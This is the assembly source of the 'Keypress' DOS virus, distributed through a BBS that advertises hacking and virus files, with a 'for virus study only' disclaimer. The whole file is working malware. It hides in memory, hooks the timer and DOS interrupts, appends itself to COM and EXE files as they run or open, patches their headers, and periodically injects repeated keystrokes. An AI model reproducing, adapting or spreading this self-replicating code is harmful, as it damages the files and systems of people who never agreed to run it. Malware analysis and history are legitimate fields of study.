;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************

; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.

VirParSize    equ 4Ch                      ; Size of the original KeyPress virus

VirStart:     jmp long VirBegin
              db 0

ComStart:     mov bx,cs               ; When the virus has infected a .COM file,
              add bx,[102h]           ; this is the jump to the virus. Actually,
              push bx                   ; this code is overwritten with the code
              mov bx,offset VirBegin                  ; in the end of the virus.
              push bx
              retf

EB02          dw 02EBh                  ; 'jmp 104' - first 2 bytes in .COM file

VirSize       dw VirParSize shl 4                  ; Size of virus in whole pars

VirPars       dw VirParSize + 1                        ; Size of virus in pars+1

MaxComSize    dw 0FF00h-VirParSize  ; Max. size .COM file to infect (100h stack)

Com_or_exe    db 00h                                ; 0 = Com-File, 1 = Exe-File
R_Ax          dw (?)
R_Bx          dw (?)
R_Cx          dw (?)
R_Dx          dw (?)
R_Di          dw (?)
R_Si          dw (?)
R_Bp          dw (?)
R_Es          dw (?)
R_Ds          dw (?)
R_SS          dw (?)
R_SP          dw (?)

Exe_CS        dw (?)
Exe_IP        dw (?)


VirBegin:     call Save_Regs                                    ; Start of virus
              call Fix_cs_ss      ; Fix CS and SS of orig. prog (for .EXE files)
              call Get_cs_ip                    ; Get CS and IP of original prog
              call Check_res                      ; Check virus already resident
              jb Exit_inst                                           ; Yes, quit

              call Inst_mem                                  ; Install in memory
              jb Exit_inst                                         ; Error, quit

              call Inst_ints                                   ; Hook interrupts
Exit_Inst:    jmp short Rst_regs_prg
              nop

Jmp_Prg:      db 0EAh                                 ; Jump to original program
PrgOfs        dw (?)
PrgSeg        dw (?)

Check_res:    push ds
              xor bx,bx
              mov ds,bx
              mov bx,600h                                ; Unused word in memory
              cmp word ptr [bx],1                           ; Already installed?
              jz Installed                                                 ; Yes

              mov word ptr [bx],1                                           ; No
              stc

Installed:    cmc
              pop ds
              ret


;*** For .EXE: Fix orig-prog CS and SS ***

Fix_cs_ss:    test byte ptr [Com_or_exe],1
              jz no_exe

              mov ax,es
              add ax,10h
              add Exe_cs,ax
              add R_ss,ax

No_Exe:       ret


;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***

Get_cs_ip:    mov ax,[Exe_cs]
              mov bx,[Exe_ip]
              test byte ptr [Com_or_exe],1
              jnz No_rest                 ; .EXE file: no restore of first bytes

              mov ax,es
              mov bx,100h
              mov cx,10h
              mov si,offset First_bytes
              mov di,100h
              cld
              repz                          ; Restore first 16 bytes (.COM file)
              movsb

No_rest:      mov [Prgseg],ax
              mov [Prgofs],bx
              ret


;*** Proc: Save the registers to restore them after the virus has ended ***

Save_Regs:    mov cs:R_ds,ds
              push cs
              pop ds
              mov R_ax,ax
              mov R_bx,bx
              mov R_cx,cx
              mov R_dx,dx
              mov R_di,di
              mov R_si,si
              mov R_bp,bp
              mov R_es,es
              ret


;*** Restore regs for original program ***

Rst_regs_prg: mov ax,R_ax
              mov bx,R_bx
              mov cx,R_cx
              mov dx,R_dx
              mov bp,R_bp
              mov di,R_di
              mov si,R_si
              mov es,R_es
              test byte ptr [Com_or_exe],1
              jz No_StackRest                  ; No stack restore for .COM files

              cli
              mov ss,[R_ss]                                 ; Restore .EXE stack
              mov sp,[R_sp]
              sti

No_StackRest: mov ds,R_ds
              jmp short jmp_prg


;*** Restore regs for interrupts ***

Rst_regs_int: mov ax,R_ax
              mov bx,R_bx
              mov cx,R_cx
              mov dx,R_dx
              mov bp,R_bp
              mov di,R_di
              mov si,R_si
              mov es,R_es
              mov ds,R_ds
              ret


;*** Proc: Search for last MCB ***

Last_MCB:     push ds
              mov bx,es
              dec bx

Next_MCB:     mov ds,bx
              cmp byte ptr [0],5Ah                                   ; Last MCB?
              jz Is_last                                                   ; Yes
              inc bx
              add bx,[3]                                            ; Go to next
              cmp bx,0A000h                                            ; In ROM?
              jb Next_MCB                                     ; No, try next one

Is_Last:      pop ds
              ret


;*** Proc: Install virus in end of memory ***

Inst_Mem:     call Last_mcb                                    ; Search last MCB
              cmp bx,0A000h                                            ; In ROM?
              jb Not_ROM                                          ; No, continue

No_Inst:      push cs                                                ; Yes, quit
              pop ds
              stc                                   ; Error, virus not installed
              ret

Not_ROM:      mov ds,bx
              mov ax,[3]                                    ; AX = Size last MCB
              sub ax,cs:[VirPars]                      ; - (Virussize in pars+1)
              jbe no_inst                              ; Not enough memory, quit
              cmp ax,800h
              jb no_inst                        ; Less than 2048 pars free, quit
              mov [3],ax              ; Give program less space to install virus
              add bx,ax
              inc bx                                ; BX = seg where virus comes
              mov es:[2],bx            ; Enter in PSP, program not allowed there
              sub bx,10h                     ; - 10h pars (virus starts at 100h)
              push bx
              push cs
              pop ds
              pop es
              mov si,100h
              mov di,si
              mov cx,[VirSize]                                  ; CX = virussize
              cld
              repz                                 ; Copy virus to virus-segment
              movsb
              clc                                    ; No error, virus installed
              ret


;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***

Inst_Ints:    push es
              pop ds
              mov word ptr [Ticks],0
              mov ax,351Ch                                 ; Get Addr Timer Tick
              int 21h
              mov I1c_ofs,bx
              mov I1c_seg,es
              mov ax,3521h                                    ; Get Addr DOS-Int
              int 21h
              mov I21_ofs,bx
              mov I21_seg,es
              mov ax,251Ch
              mov dx,offset New_I1c
              int 21h                               ; Install New Timer-Tick Int
              mov dx,offset I21_dos12
              push dx
              mov ah,30h                                       ; Get DOS-Version
              int 21h
              pop dx
              cmp al,3                                              ; Below 3.0?
              jb DosBel3
              mov dx,offset new_I21                                ; No, new int
DosBel3:      mov ax,2521h                                 ; Install new DOS-Int
              int 21h
              push cs
              pop ds
              ret


;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.

Ticks         dw (?)

New_I1c:      inc word ptr cs:[Ticks]     ; Increment 'Ticks after virus loaded'
              cmp word ptr cs:[Ticks],2A30h                 ; 10 minutes passed?
              jb org_I1c                                   ; No, go to orig. I1c
              cmp word ptr cs:[Ticks],2A54h                     ; 2 sec. passed?
              jbe screw_keys                                ; Not yet, give ESCs
              mov word ptr cs:[Ticks],0                      ; Time-counter to 0
              jmp short Org_I1c                                ; Go to orig. I1c
Screw_Keys:   push cx
              mov cx,5                                          ; 5 times / tick
Put_Key:      int 9                                             ; Give extra key
              loop Put_key
              pop cx
Org_I1c:      db 0EAh                                    ; Jump far to orig. I1c
I1c_Ofs       dw (?)
I1c_Seg       dw (?)

New_I24:      mov al,0

New_I23:      iret

I23_Ofs       dw (?)
I23_Seg       dw (?)

I24_Ofs       dw (?)
I24_Seg       dw (?)

ProgSize      dw (?)                                ; Program size in paragraphs

New_I21:      cmp ax,4B00h                             ; New DOS Int for DOS 3 +
              jz Is_Start
              jmp far dword ptr cs:[I21_Ofs]                    ; Jmp orig. I 21
Is_Start:     call Save_Regs
              call InstCritInt               ; Install new ^c and crit. err. int
              mov ax,3D02h                        ; Open file for read and write
              mov ds,R_Ds
              int 21h
              push cs
              pop ds
              jc Close_File
              mov bx,ax
              call Read_header
              jc Close_File
              call Write_virus
              jc Close_File
              call Write_header
Close_File:   mov ah,3Eh                                            ; Close file
              int 21h
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp far dword ptr cs:[I21_Ofs]

I21_Dos12:    cmp ah,3Dh                       ; New DOS-Int for DOS 1.x and 2.x
              jz Is_Open

JmpDos:       db 0EAh                                                 ; Jump Far
I21_Ofs       dw (?)
I21_Seg       dw (?)

Is_Open:      push ax                                           ; Network-flags?
              and al,0FCh
              pop ax
              jnz JmpDos                                            ; Yes -> DOS

              call Save_Regs

              call InstCritInt               ; Install new ^c and crit. err. int

              mov DS,R_Ds
              or al,2                                             ; Write access
              pushf
              cli
              call far cs:[I21_Ofs]                                  ; Open file
              push cs
              pop ds
              jc Open_Error                               ; Error opening -> DOS

              pushf
              mov [R_Ax],ax                                        ; Save handle
              mov bx,ax

              call Chk_Inf                         ; Check infection is possible
              jc No_Infect                                          ; No -> quit

              call Read_header
              jc No_Infect

              call Write_virus
              jc No_Infect
              call Write_header
No_Infect:    call Go_file_beg                             ; Go to begin of file
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              popf
              retf 2
Open_Error:   call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp short JmpDos


;*** Proc: Buffer for header of program to infect ***

Head_buf      dw 0Ch dup (?)


;*** Proc: Install new ^C and crit. err. interrupt ***

InstCritInt:  push ax
              push bx
              push dx
              push ds
              push es
              push cs
              pop ds
              mov ax,3523h                             ; Get Ctrl-Break Int Addr
              int 21h
              mov I23_Ofs,bx
              mov I23_Seg,es
              mov ax,3524h                              ; Get Crit. Err Int Addr
              int 21h
              mov I24_Ofs,bx
              mov I24_Seg,es
              mov ax,2523h
              mov dx,offset New_I23                 ; Install new Ctrl-Break Int
              int 21h
              mov ax,2524h                           ; Install new Crit. Err Int
              mov dx,offset New_I24
              int 21h
              pop es
              pop ds
              pop dx
              pop bx
              pop ax
              ret


;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***

RestCritInt:  mov ax,2524h                           ; Rest. orig. crit. err int
              lds dx,dword ptr cs:[I24_Ofs]
              int 21h
              mov ax,2523h                          ; Rest. orig. ctrl-break int
              lds dx,dword ptr cs:[I23_Ofs]
              int 21h
              push cs
              pop ds
              ret


;*** Read header of file ***

Read_header:  mov ah,3Fh
              mov dx,offset Head_buf
              mov cx,18h
              int 21h
              jc HeadRead_Err                      ; Error reading, don't infect

              call Check_infect ; Check file already infected; if not, save data
              jc HeadRead_Err                                      ; Error, quit

              call Calc_data                  ; Calculate data for infected file
              jc HeadRead_Err                                      ; Error, quit

HeadRead_Err: ret


;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***

Write_virus:  mov ah,40h                            ; Write virus behind program
              mov cx,[VirSize]
              mov dx,100h
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              test byte ptr [Com_or_exe],1
              jz First_Write
              ret

First_Write:  mov ah,40h                 ; Write orig. 1st 16 bytes behind virus
              mov cx,10h
              mov dx,offset Head_buf
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              clc                                      ; End procedure, no error
              ret

Err_Writ:     stc                                         ; End procedure, error
              ret


;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***

Write_header: call Go_file_beg                             ; Go to begin of file
              test byte ptr [Com_or_exe],1                          ; .EXE-file?
              jnz Exe_header
              mov ah,40h                             ; .COM file - Write 'EB 02'
              mov cx,2
              mov dx,offset EB02
              int 21h
              mov ah,40h                            ; Write program-size in pars
              mov cx,2
              mov dx,offset ProgSize
              int 21h
              mov ah,40h                          ; Write rest of begin of virus
              mov cx,0Ch
              mov dx,104h
              int 21h
              ret

Exe_header:   mov ah,40h                                         ; Write in File
              mov cx,18h
              mov dx,offset Head_buf
              int 21h
              ret


;*** Proc: Change file pointer ***

Cng_file_ptr: mov ax,4200h
              int 21h
              ret


;*** Proc: Go to begin of file ***

Go_file_beg:  xor cx,cx                                        ; Filepointer = 0
              xor dx,dx
              call Cng_file_ptr                            ; Change File Pointer
              ret 


;*** Proc: Check file is already infected ***

Check_infect: mov si,104h
              mov di,offset Head_buf+4
              push cs
              pop es
              mov byte ptr [Com_or_exe],0                        ; Flag for .COM
              cmp word ptr [di-04],5A4Dh                              ; Is .EXE?
              jz Is_Exe
              mov cx,0Ch                                         ; No, .COM file
              cld
              repz                                           ; Already infected?
              cmpsb
              jnz Do_Infect                                            ; Not yet
Dont_Infect:  stc
              ret
Do_Infect:    clc
              ret
Is_Exe:       mov byte ptr [Com_or_exe],1                        ; Flag for .EXE
              mov cx,[offset Head_buf+14h]                        ; cx = Prog-IP
              cmp cx,offset VirBegin                           ; Same as Vir-IP?
              jz Dont_Infect                                         ; Yes, quit
              cmp word ptr [offset Head_buf+0Ch],0           ; Max extra pars=0?
              jz Dont_Infect                                         ; Yes, quit
              mov [Exe_ip],cx                                     ; Save prog-IP
              mov cx,[Head_buf+16h]
              mov [Exe_cs],cx                                     ; Save prog-cs
              mov cx,[Head_buf+0Eh]
              mov [R_ss],cx                                       ; Save prog-SS
              mov cx,[Head_buf+10h]
              mov [R_sp],cx                                       ; Save prog-SP
              jmp short Do_Infect


;*** Proc: Calculate data for infection ***

Calc_data:    mov ax,4202h                                           ; Go to EOF
              xor cx,cx
              xor dx,dx
              int 21h
              test al,0Fh         ; Size mod 16 = 0 (File is exact x paragraps)?
              jz No_par_add                            ; Yes, no extra par added
              add ax,10h                                         ; Add paragraph
              adc dx,0                                      ; Overflow -> Inc dx
              and ax,0FFF0h                                    ; Make paragraphs
No_par_add:   test byte ptr [Com_or_exe],1
              jnz Calc_exe
              or dx,dx
              jnz not_infect
              cmp ax,[maxcomsize]                                ; File too big?
              ja not_infect                                          ; Yes, quit
              cmp ax,[VirSize]                                 ; File too small?
              jbe Not_Infect                                         ; Yes, quit
              mov [ProgSize],ax                              ; Save program-size
              mov cl,4
              shr word ptr [ProgSize],cl                         ; In paragraphs
              mov dx,ax
              xor cx,cx
              call Cng_file_ptr                                      ; Go to EOF
              clc
              ret
Not_Infect:   stc
              ret

Calc_exe:     push ax
              push dx
              add ax,100h                                      ; 100 bytes stack
              adc dx,0                                       ; Overflow - inc dx
              mov cx,dx
              mov dx,ax
              call Cng_file_ptr                                      ; Go to EOF
              push bx
              add ax,[VirSize]                                  ; New exe-length
              adc dx,0
              mov bx,200h                                    ; For header: / 512
              div bx
              or dx,dx
              jz No_Correct
              inc ax          ; Files below 2.000.000h bytes - length correction
No_Correct:   mov [Head_buf+2],dx                         ; Save new file-length
              mov [Head_buf+4],ax                         ; '  ' ' ' '  ' '    '
              pop bx
              pop dx
              pop ax
              call Calc_cs_ss
              mov word ptr [Head_buf+10h],100h                    ; Prog-SP=100h
              mov word ptr [Head_buf+14h],offset VirBegin          ; Set prog-IP
              clc
              ret


;*** Proc: Calculate new CS and SS for .EXE file ***

Calc_cs_ss:   push cx
              mov cx,4
Cs_ss_lp:     shr dx,1
              rcr ax,1
              loop Cs_ss_lp
              sub ax,[Head_buf+8]                               ; Size of header
              sbb dx,0
              mov [Head_buf+0Eh],ax                               ; Save prog-SS
              mov [Head_buf+16h],ax                               ; Save prog-cs
              pop cx
              ret


;*** Check infection is possible ***

Chk_Inf:      call Chk_exec                           ; Check file is executable
              jb Not_exec
              call Get_attr                         ; Check file has no SYS attr
Not_Exec:     ret


;*** Search-paths ***

Com_path      db '.COM',0

Exe_path      db '.EXE',0


;*** Check file is executable (.COM / .EXE)

Chk_Exec:     push es
              mov es,R_ds
              mov di,dx
              xor al,al
              mov cx,80h
              cld
              repnz                                                 ; Search '.'
              scasb
              jnz not_inf                                         ; No '.' found
              dec di
              push di
              mov si,offset Com_path+4
              mov cx,4
              std
              repz                                                ; Check '.COM'
              cmpsb
              pop di
              jnz no_com                                               ; No .COM
              clc
              jmp short Infect
              nop
Not_Inf:      stc

Infect:       cld
              pop es
              ret
No_Com:       mov si,offset Exe_path+4
              mov cx,4
              repz                                                ; Check '.EXE'
              cmpsb
              jnz not_inf                      ; No .EXE either - not executable
              clc
              jmp short infect

Get_Attr:     push ds
              mov ax,4300h                                        ; Get FileAttr
              xor cx,cx
              mov ds,R_ds
              int 21h
              pop ds
              jb Bad_Attr                                 ; Error - don't infect
              test cx,4                                           ; System-Attr?
              jnz Bad_Attr                                   ; Yes, don't infect
              clc
              ret

Bad_Attr:     stc
              ret

First_bytes:  int 20h     ; First bytes of orig. program - here just 'Go to DOS'
              dw (?)
              mov bx,cs                                   ; Overwrites the begin
              add bx,[102h]
              push bx
              mov bx,offset VirBegin
              push bx
              retf

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;